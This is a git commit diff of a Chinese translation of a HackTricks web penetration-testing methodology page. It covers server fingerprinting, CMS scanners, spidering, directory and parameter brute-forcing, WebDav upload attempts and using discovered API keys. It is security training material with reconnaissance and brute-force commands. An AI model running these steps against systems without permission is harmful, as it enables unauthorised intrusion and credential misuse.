Translated ['src/pentesting-web/idor.md', 'src/network-services-pentesti

This commit is contained in:
Translator 2025-08-28 14:22:20 +00:00
parent bc5498a834
commit 0ccb74d55f
5 changed files with 312 additions and 192 deletions

View File

@ -432,6 +432,7 @@
- [H2 - Java SQL database](network-services-pentesting/pentesting-web/h2-java-sql-database.md)
- [IIS - Internet Information Services](network-services-pentesting/pentesting-web/iis-internet-information-services.md)
- [ImageMagick Security](network-services-pentesting/pentesting-web/imagemagick-security.md)
- [Ispconfig](network-services-pentesting/pentesting-web/ispconfig.md)
- [JBOSS](network-services-pentesting/pentesting-web/jboss.md)
- [Jira & Confluence](network-services-pentesting/pentesting-web/jira.md)
- [Joomla](network-services-pentesting/pentesting-web/joomla.md)

View File

@ -1,12 +1,12 @@
# 80,443 - Pentesting Web Methodology
# 80,443 - Pentesting Web 方法论
{{#include ../../banners/hacktricks-training.md}}
## 基本信息
Web服务是最**常见和广泛的服务**,并且存在许多**不同类型的漏洞**
Web 服务是最为 **常见且范围最广的服务**,并且存在大量 **不同类型的漏洞**
**默认端口:** 80 (HTTP)443(HTTPS)
**默认端口:** 80 (HTTP), 443(HTTPS)
```bash
PORT STATE SERVICE
80/tcp open http
@ -17,47 +17,47 @@ PORT STATE SERVICE
nc -v domain.com 80 # GET / HTTP/1.0
openssl s_client -connect domain.com:443 # GET / HTTP/1.0
```
### Web API Guidance
### Web API 指南
{{#ref}}
web-api-pentesting.md
{{#endref}}
## Methodology summary
## 方法论摘要
> 在这个方法论中,我们假设你将攻击一个域(或子域),仅此而已。因此,你应该将此方法论应用于每个发现的域、子域或具有不确定网络服务器的IP。
> 在本方法论中,我们假设你将攻击一个域名(或子域),并且仅针对该域名。因此,你应该将此方法应用于范围内发现的每个域名、子域或具有未确定 web 服务器的 IP。
- [ ] 首先**识别**网络服务器使用的**技术**。如果你能成功识别技术,请寻找在测试其余部分中需要记住的**技巧**。
- [ ] 该技术版本是否任何**已知漏洞**
- [ ] 使用任何**知名技术**?有没有**有用技巧**来提取更多信息
- [ ] 有任何**专业扫描器**需要运行如wpscan
- [ ] 启动**通用扫描器**。你永远不知道它们是否会发现某些东西或找到一些有趣的信息。
- [ ] 从**初始检查**开始:**robots**、**sitemap**、**404**错误和**SSL/TLS扫描**(如果是HTTPS
- [ ] 开始**爬取**网页:是时候**查找**所有可能的**文件、文件夹**和**使用的参数**。同时,检查**特殊发现**。
- [ ] _注意,在暴力破解或爬取过程中发现新目录时,应进行爬取。_
- [ ] **目录暴力破解**:尝试暴力破解所有发现的文件夹,寻找新的**文件**和**目录**
- [ ] _注意,在暴力破解或爬取过程中发现新目录时,应进行暴力破解。_
- [ ] **备份检查**:测试是否可以通过附加常见备份扩展名找到**发现的文件**的**备份**
- [ ] **暴力破解参数**:尝试**查找隐藏参数**。
- [ ] 一旦你**识别**了所有可能接受**用户输入**的**端点**,检查与之相关的所有类型的**漏洞**。
- [ ] [遵循此检查清单](../../pentesting-web/web-vulnerabilities-methodology.md)
- [ ] 首先**识别**web 服务器使用的**技术**。如果能够成功识别技术,请寻找在后续测试中需要注意的**tricks**。
- [ ] 该技术版本是否存在任何**已知漏洞**
- [ ] 是否使用任何**知名技术**?有没有用于提取更多信息的**有用技巧**
- [ ] 是否有需要运行的**专用扫描器**(例如 wpscan
- [ ] 运行**通用扫描器**。你永远不知道它们是否会发现什么或提供一些有趣的信息。
- [ ] 从**初始检查**开始:**robots**、**sitemap**、**404** 错误和 **SSL/TLS scan**(若为 HTTPS
- [ ] 开始对网页进行 **spidering**:现在是时候**发现**所有可能的**files, folders**和正在使用的**parameters**。同时,检查是否有任何**special findings**。
- [ ] _注意:任何在 brute-forcing 或 spidering 期间发现的新目录都应被 spidered。_
- [ ] **Directory Brute-Forcing**:尝试对发现的所有文件夹进行 brute force以查找新的 **files****directories**
- [ ] _注意:任何在 brute-forcing 或 spidering 期间发现的新目录都应被 Brute-Forced。_
- [ ] **Backups checking**:测试是否可以通过附加常见备份扩展名来找到已发现文件的 **backups**
- [ ] **Brute-Force parameters**:尝试**发现隐藏参数**。
- [ ] 一旦你**识别**出所有可能接受**user input**的**endpoints**,检查与之相关的各种**vulnerabilities**。
- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
## Server Version (Vulnerable?)
### Identify
### 识别
检查正在运行的服务器**版本**是否存在**已知漏洞**。\
**HTTP响应的头部和cookie**可能非常有用,以**识别**所使用的**技术**和/或**版本**。**Nmap扫描**可以识别服务器版本,但工具[**whatweb**](https://github.com/urbanadventurer/WhatWeb)**、**[**webtech**](https://github.com/ShielderSec/webtech)或[**https://builtwith.com/**](https://builtwith.com)**也可能有用**
检查运行中的服务器 **version** 是否存在**已知漏洞**。\
响应的 **HTTP headers and cookies** 可能对**识别**所使用的 **technologies** 和/或 **version** 非常有用。**Nmap scan** 可以识别服务器版本,但工具 [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)或 [**https://builtwith.com/**](https://builtwith.com)****
```bash
whatweb -a 1 <URL> #Stealthy
whatweb -a 3 <URL> #Aggresive
webtech -u <URL>
webanalyze -host https://google.com -crawl 2
```
搜索 **web 应用程序的漏洞版本** [**vulnerabilities of the web application version**](../../generic-hacking/search-exploits.md)
搜索 [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
### **检查是否 WAF**
### **检查是否存在 WAF**
- [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
@ -65,7 +65,7 @@ webanalyze -host https://google.com -crawl 2
### Web 技术技巧
一些 **寻找漏洞****技巧**,适用于不同的知名 **技术**
一些用于发现所使用的不同知名技术中漏洞的技巧
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
- [**Apache**](apache.md)
@ -78,6 +78,7 @@ webanalyze -host https://google.com -crawl 2
- [**Golang**](golang.md)
- [**GraphQL**](graphql.md)
- [**H2 - Java SQL database**](h2-java-sql-database.md)
- [**ISPConfig**](ispconfig.md)
- [**IIS tricks**](iis-internet-information-services.md)
- [**Microsoft SharePoint**](microsoft-sharepoint.md)
- [**JBOSS**](jboss.md)
@ -88,7 +89,7 @@ webanalyze -host https://google.com -crawl 2
- [**Laravel**](laravel.md)
- [**Moodle**](moodle.md)
- [**Nginx**](nginx.md)
- [**PHP (php 有很多有趣的技巧可以被利用)**](php-tricks-esp/index.html)
- [**PHP (php has a lot of interesting tricks that could be exploited)**](php-tricks-esp/index.html)
- [**Python**](python.md)
- [**Spring Actuators**](spring-actuators.md)
- [**Symphony**](symphony.md)
@ -98,21 +99,21 @@ webanalyze -host https://google.com -crawl 2
- [**WebDav**](put-method-webdav.md)
- [**Werkzeug**](werkzeug.md)
- [**Wordpress**](wordpress.md)
- [**Electron Desktop (XSS RCE)**](electron-desktop-apps/index.html)
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
_请注意**同域**可能在不同的 **端口**、**文件夹**和 **子域**中使用 **不同的技术**。_\
如果 web 应用程序使用了之前列出的任何知名 **技术/平台****其他**,请不要忘记 **在互联网上搜索** 新的技巧(并告诉我!)。
_请注意**同域**在不同的**端口**、**文件夹**和**子域**中可能使用不同的**技术**。_\
如果 Web 应用使用任何之前列出的知名**技术/平台**或**其他**,不要忘记在互联网上**搜索新的技巧**(并告诉我!)。
### 源代码审查
如果应用程序的 **源代码****github** 上可用,除了进行 **自己的白盒测试** 外,还有 **一些信息** 可能对当前的 **黑盒测试** **有用**
如果应用**source code** 可在 **github** 获得,除了你对该应用进行 **your own a White box test** 之外,还有一些信息可能对当前的 **Black-Box testing** 有用
- 是否**变更日志或自述文件或版本** 文件或任何可以通过网络访问的 **版本信息**
- **凭据** 是如何保存的?是否有任何(可访问的?) **文件** 包含凭据(用户名或密码)
- **密码****明文**、**加密** 还是使用了哪种 **哈希算法**
- 是否使用了任何 **主密钥** 来加密某些内容?使用了哪种 **算法**
- 你能否通过利用某个漏洞 **访问这些文件**
- **github** 上是否有任何 **有趣的信息**(已解决和未解决的) **问题**?或者在 **提交历史** 中(也许某个 **密码在旧提交中引入**
- 是否存在 **Change-log 或 Readme 或 Version** 文件,或任何可通过 web 访问的包含 **版本信息** 的内容
- 凭据如何以及在哪里保存?是否存在任何(可访问的?)包含凭据(用户名或密码)的文件
- 密码是以明文、加密形式保存,还是使用了哪种哈希算法
- 是否使用了任何用于加密的主密钥?使用的是哪种算法
- 你能否通过利用某些漏洞访问这些文件中的任意一个
- github 的 issues已解决和未解决中是否有任何有趣的信息或者在提交历史中也许某个旧提交中引入了密码
{{#ref}}
code-review-tools.md
@ -134,10 +135,10 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
```
#### CMS 扫描器
如果使用了 CMS别忘了 **运行扫描器**,也许会发现一些有价值的信息
如果使用了 CMS不要忘记**运行扫描器**,也许能发现有价值的东西
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** 网站的安全问题。 (GUI)\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** 用于检测这些网站的安全问题。GUI\
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **或** [**(M)oodle**](moodle.md)\
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
@ -147,45 +148,45 @@ wpscan --force update -e --url <URL>
joomscan --ec -u <URL>
joomlavs.rb #https://github.com/rastating/joomlavs
```
> 在这一点上您应该已经获得了一些关于客户端使用的网络服务器的信息如果提供了任何数据以及在测试期间需要记住的一些技巧。如果您运气好您甚至找到了一个CMS并运行了一些扫描器
> 此时你应该已经掌握了一些关于客户端所使用的 web server 的信息(如果有提供任何数据)以及在测试中需要记住的一些技巧。如果幸运的话,你甚至可能发现了一个 CMS 并运行了一些 scanner
## 步骤逐步网络应用发现
## Step-by-step Web Application Discovery
> 从这一点开始,我们将开始与网络应用程序进行交互。
> 从这一点开始,我们将开始与 web application 进行交互。
### 初步检查
### Initial checks
**包含有趣信息的默认页面:**
**Default pages with interesting info:**
- /robots.txt
- /sitemap.xml
- /crossdomain.xml
- /clientaccesspolicy.xml
- /.well-known/
- 还要检查主页面和次页面中的评论
- 同时检查主页面和次要页面中的 comments
**强制错误**
**Forcing errors**
当向Web服务器发送奇怪的数据时可能会**表现出意外行为**。这可能会打开**漏洞**或**泄露敏感信息**
当向 Web servers 发送异常数据时,它们可能会**behave unexpectedly**。这可能会打开 **vulnerabilities** 或导致 **disclosure sensitive information**
- 访问**假页面**如 /whatever_fake.php (.aspx,.html,.etc)
- 在**cookie值**和**参数**值中**添加 "\[]", "]]", 和 "\[\["**以创建错误
- 通过在**URL**的**末尾**提供输入为**`/~randomthing/%s`**来生成错误
- 尝试**不同的HTTP动词**如 PATCH、DEBUG 或错误的如 FAKE
- 访问 **fake pages**,例如 /whatever_fake.php (.aspx,.html,.etc)
- 在 **cookie values****parameter** 值中**添加 "\[]", "]]", and "\[\["** 以触发错误
- **URL****end** 提供 **`/~randomthing/%s`** 来生成错误
- 尝试 **different HTTP Verbs**,例如 PATCH、DEBUG或错误的 FAKE
#### **检查您是否可以上传文件(**[**PUT动词WebDav**](put-method-webdav.md)****
#### **Check if you can upload files (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
如果您发现**WebDav**已**启用**但您没有足够的权限在根文件夹中**上传文件**,请尝试:
如果发现 **WebDav****enabled**,但你没有足够权限在根目录 **uploading files**,请尝试:
- **暴力破解**凭据
- 通过WebDav向网页中**找到的其他文件夹**上传文件。您可能有权限在其他文件夹中上传文件
- **Brute Force** credentials
- 通过 WebDav 向网页内 **found folders****rest** 上传 **Upload files**。你可能在其他文件夹有上传权限
### **SSL/TLS漏洞**
### **SSL/TLS vulnerabilites**
- 如果应用程序**在任何部分都没有强制用户使用HTTPS**,那么它**容易受到中间人攻击MitM**
- 如果应用程序**使用HTTP发送敏感数据密码**,那么这是一个高风险漏洞。
- 如果应用在任何部分**没有强制使用 HTTPS**,则容易受到 **MitM**
- 如果应用通过 **HTTP** **sending sensitive data (passwords)**,那么这是一个高危漏洞。
使用[**testssl.sh**](https://github.com/drwetter/testssl.sh)检查**漏洞**(在漏洞赏金计划中,这类漏洞可能不会被接受),并使用[**a2sv**](https://github.com/hahwul/a2sv)重新检查漏洞:
使用 [**testssl.sh**](https://github.com/drwetter/testssl.sh) 来检查 **vulnerabilities**(在 Bug Bounty programs 中,这类漏洞很可能不会被接受),并使用 [**a2sv** ](https://github.com/hahwul/a2sv) 来复查这些漏洞:
```bash
./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also
@ -194,65 +195,65 @@ joomlavs.rb #https://github.com/rastating/joomlavs
sslscan <host:port>
sslyze --regular <ip:port>
```
关于SSL/TLS漏洞的信息
关于 SSL/TLS vulnerabilities:
- [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
- [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
### 爬虫
### Spidering
网络中启动某种**爬虫**。爬虫的目标是**尽可能多地找到**被测试应用程序的路径。因此,应使用网络爬虫和外部资源来找到尽可能多的有效路径。
web 中启动某种 **spider**。spider 的目标是 **从被测试的应用中找到尽可能多的路径**。因此,应使用 web crawling 和外部来源来发现尽可能多的有效路径。
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML爬虫JS文件中的LinkFinder和外部资源Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML爬虫带有JS文件的LinkFinder和Archive.org作为外部资源。
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML爬虫,也指示“美味文件”。
- [**evine** ](https://github.com/saeeddhqan/evine)(go): 交互式CLI HTML爬虫。它还在Archive.org中搜索。
- [**meg**](https://github.com/tomnomnom/meg) (go): 这个工具不是爬虫但可能有用。您只需指示一个包含主机的文件和一个包含路径的文件meg将获取每个主机上的每个路径并保存响应。
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): 具有JS渲染能力的HTML爬虫。然而它似乎没有维护预编译版本较旧当前代码无法编译。
- [**gau**](https://github.com/lc/gau) (go): 使用外部提供者wayback, otx, commoncrawl的HTML爬虫。
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): 这个脚本将找到带参数的URL并列出它们。
- [**galer**](https://github.com/dwisiswant0/galer) (go): 具有JS渲染能力的HTML爬虫。
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML爬虫具有JS美化能力能够在JS文件中搜索新路径。查看[JSScanner](https://github.com/dark-warlord14/JSScanner)也值得一看它是LinkFinder的一个包装器。
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): 从HTML源和嵌入的JavaScript文件中提取端点。对漏洞猎人、红队员、信息安全专家有用。
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): 一个使用Tornado和JSBeautifier从JavaScript文件中解析相对URL的Python 2.7脚本。对轻松发现AJAX请求很有用。看起来没有维护。
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): 给定一个文件HTML它将使用巧妙的正则表达式从丑陋压缩文件中提取相对URL。
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, 多个工具): 使用多个工具从JS文件中收集有趣的信息。
- [**subjs**](https://github.com/lc/subjs) (go): 查找JS文件。
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): 在无头浏览器中加载页面并打印出加载页面的所有URL。
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 内容发现工具,结合了之前工具的多个选项。
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): 一个Burp扩展用于查找JS文件中的路径和参数。
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): 一个工具,给定.js.map URL将获取美化的JS代码。
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): 这是一个用于发现给定目标的端点的工具。
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** 从时光机发现链接(还下载时光机中的响应并寻找更多链接)。
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): 爬取(甚至通过填写表单)并使用特定正则表达式查找敏感信息。
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite是一个高级多功能GUI网络安全爬虫/爬虫,专为网络安全专业人员设计。
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): 这是一个Go包和[命令行工具](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice)用于从JavaScript源代码中提取URL、路径、秘密和其他有趣的数据。
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge是一个简单的**Burp Suite扩展**,用于**提取请求中的参数和端点**,以创建自定义字典进行模糊测试和枚举。
- [**katana**](https://github.com/projectdiscovery/katana) (go): 这个工具很棒。
- [**Crawley**](https://github.com/s0rg/crawley) (go): 打印它能够找到的每个链接。
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files and external sources (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, with LinkFider for JS files and Archive.org as external source.
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, also indicates "juicy files".
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. It also searches in Archive.org
- [**meg**](https://github.com/tomnomnom/meg) (go): This tool isn't a spider but it can be useful. You can just indicate a file with hosts and a file with paths and meg will fetch each path on each host and save the response.
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider with JS rendering capabilities. However, it looks like it's unmaintained, the precompiled version is old and the current code doesn't compile
- [**gau**](https://github.com/lc/gau) (go): HTML spider that uses external providers (wayback, otx, commoncrawl)
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): This script will find URLs with parameter and will list them.
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider with JS rendering capabilities.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, with JS beautify capabilities capable of search new paths in JS files. It could be worth it also take a look to [JSScanner](https://github.com/dark-warlord14/JSScanner), which is a wrapper of LinkFinder.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): To extract endpoints in both HTML source and embedded javascript files. Useful for bug hunters, red teamers, infosec ninjas.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): A python 2.7 script using Tornado and JSBeautifier to parse relative URLs from JavaScript files. Useful for easily discovering AJAX requests. Looks like unmaintained.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Given a file (HTML) it will extract URLs from it using nifty regular expression to find and extract the relative URLs from ugly (minify) files.
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Gather interesting information from JS files using several tools.
- [**subjs**](https://github.com/lc/subjs) (go): Find JS files.
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Load a page in a headless browser and print out all the urls loaded to load the page.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Content discovery tool mixing several options of the previous tools
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): A Burp extension to find path and params in JS files.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): A tool that given the .js.map URL will get you the beatified JS code
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): This is a tool used to discover endpoints for a given target.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Discover links from the wayback machine (also downloading the responses in the wayback and looking for more links
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (even by filling forms) and also find sensitive info using specific regexes.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is an advance multi-feature GUI web security Crawler/Spider designed for cyber security professionals.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): It's a Go package and [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) for extracting URLs, paths, secrets, and other interesting data from JavaScript source code.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge is a simple **Burp Suite extension** to **extract the paramters and endpoints** from the request to create custom wordlist for fuzzing and enumeration.
- [**katana**](https://github.com/projectdiscovery/katana) (go): Awesome tool for this.
- [**Crawley**](https://github.com/s0rg/crawley) (go): Print every link it's able to find.
### 暴力破解目录和文件
### Brute Force directories and files
从根文件夹开始**暴力破解**,确保使用**此方法**暴力破解**所有找到的**目录,以及通过**爬虫**发现的所有目录(您可以递归地进行此暴力破解,并在使用的字典开头附加找到的目录名称)。\
从根文件夹开始 **brute-forcing**,并确保使用 **此方法** 对所有通过 **Spidering** 发现的 **目录** 进行 **brute-force**(你可以递归地进行此操作,并在所使用的 wordlist 开头追加发现的目录名)。\
工具:
- **Dirb** / **Dirbuster** - 包含在Kali中**旧**(和**慢**)但功能正常。允许自动签名证书和递归搜索。与其他选项相比太慢。
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 不允许自动签名证书,但**允许递归搜索。
- [**Gobuster**](https://github.com/OJ/gobuster) (go): 允许自动签名证书,**不**具有**递归**搜索。
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 快速,支持递归搜索。**
- **Dirb** / **Dirbuster** - Included in Kali, **old** (and **slow**) but functional. Allow auto-signed certificates and recursive search. Too slow compared with th other options.
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: It doesn't allow auto-signed certificates but** allows recursive search.
- [**Gobuster**](https://github.com/OJ/gobuster) (go): It allows auto-signed certificates, it **doesn't** have **recursive** search.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.**
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
- [**ffuf** ](https://github.com/ffuf/ffuf)- 快速: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
- [**uro**](https://github.com/s0md3v/uro) (python): 这不是一个爬虫而是一个工具给定找到的URL列表将删除“重复”的URL。
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp扩展从不同页面的Burp历史记录中创建目录列表。
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): 删除具有重复功能的URL基于js导入
- [**Chamaleon**](https://github.com/iustin24/chameleon): 它使用wapalyzer检测使用的技术并选择要使用的字典。
- [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
- [**uro**](https://github.com/s0md3v/uro) (python): This isn't a spider but a tool that given the list of found URLs will to delete "duplicated" URLs.
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension to create a list of directories from the burp history of different pages
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Remove URLs with duplicated functionalities (based on js imports)
- [**Chamaleon**](https://github.com/iustin24/chameleon): It uses wapalyzer to detect used technologies and select the wordlists to use.
**推荐字典:**
**推荐字典:**
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
- [**Dirsearch** 包含的字典](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
- [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
- [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
- [Assetnote字典](https://wordlists.assetnote.io)
- [Assetnote wordlists](https://wordlists.assetnote.io)
- [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
- raft-large-directories-lowercase.txt
- directory-list-2.3-medium.txt
@ -266,43 +267,43 @@ sslyze --regular <ip:port>
- _/usr/share/wordlists/dirb/big.txt_
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
_注意,在暴力破解或爬虫过程中发现新目录时,应进行暴力破解。_
_注意:每当在 brute-forcing 或 spidering 过程中发现新目录时,应对其进行 Brute-Force。_
### 检查每个找到的文件
### What to check on each file found
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): 查找HTML中的断链可能容易被接管。
- **文件备份**: 一旦找到所有文件,查找所有可执行文件的备份("_.php_""_.aspx_"...。备份命名的常见变体包括_file.ext\~#file.ext#\~file.extfile.ext.bakfile.ext.tmpfile.ext.oldfile.bakfile.tmp和file.old._ 您还可以使用工具[**bfac**](https://github.com/mazen160/bfac) **或** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
- **发现新参数**: 您可以使用工具如[**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **和** [**Param Miner**](https://github.com/PortSwigger/param-miner) **来发现隐藏参数。如果可以您可以尝试在每个可执行的Web文件中搜索**隐藏参数。
- _Arjun所有默认字典:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Find broken links inside HTMLs that may be prone to takeovers
- **文件备份**: 一旦找到所有文件,查找所有可执行文件的备份("_.php_", "_.aspx_"...。备份文件命名的常见变体有_file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ 你也可以使用工具 [**bfac**](https://github.com/mazen160/bfac) **或** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
- **发现新参数**: 你可以使用像 [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **和** [**Param Miner**](https://github.com/PortSwigger/param-miner) **这样的工具来发现隐藏参数。如果可以的话,应尝试在每个可执行的 web 文件上搜索隐藏参数。**
- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
- **评论:** 检查所有文件的评论,您可以找到**凭据**或**隐藏功能**
- 如果您在**CTF**中,常见的技巧是**隐藏** **信息**在页面的**右侧**的评论中(使用**数百个** **空格**,以便在使用浏览器打开源代码时看不到数据)。另一种可能性是在网页的**底部**使用**多个新行**并在评论中**隐藏信息**
- **API密钥**: 如果您**找到任何API密钥**有指南指示如何使用不同平台的API密钥[**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API密钥: 如果您找到任何看起来像**AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik的API密钥您可以使用项目[**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner)来检查该密钥可以访问哪些API。
- **S3桶**: 在爬虫时查看是否有任何**子域**或任何**链接**与某些**S3桶**相关。在这种情况下,[**检查**桶的**权限**](buckets/index.html)。
- **注释:** 检查所有文件的注释,你可能会发现 **凭据****隐藏功能**
- 如果你在玩 **CTF**,一个“常见”的技巧是在页面的**右侧**注释中**隐藏**信息(使用**数百个空格**,这样如果用浏览器打开源代码就看不到数据)。另一种可能是使用多个换行并在页面底部的注释中隐藏信息
- **API keys**: 如果你发现任何 API key有一些项目可以指导如何使用不同平台的 API keys: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
